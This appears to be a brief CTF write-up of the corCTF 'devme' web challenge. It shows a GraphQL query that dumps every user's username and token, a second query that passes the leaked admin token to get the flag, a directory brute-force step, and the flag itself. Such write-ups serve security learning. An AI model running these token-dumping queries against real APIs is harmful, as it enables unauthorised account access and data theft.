devme corCTF Web challenge writeup

introduction

  1. Mutation query which basically allows us to add a user to the database
  2. the graphql also allows the user to query all users with their corresponding token from the data stored
  3. Lastly there is a flag query which if given the correct token (admin’s token) it will leak flag.
https://devme.be.ax/
  1. A directory brute force using gobuster(you can use ffuf, ferobuster or even wfuzz depending on your liking)
query{users{username, token}}
query{flag(token:"3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")}
corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store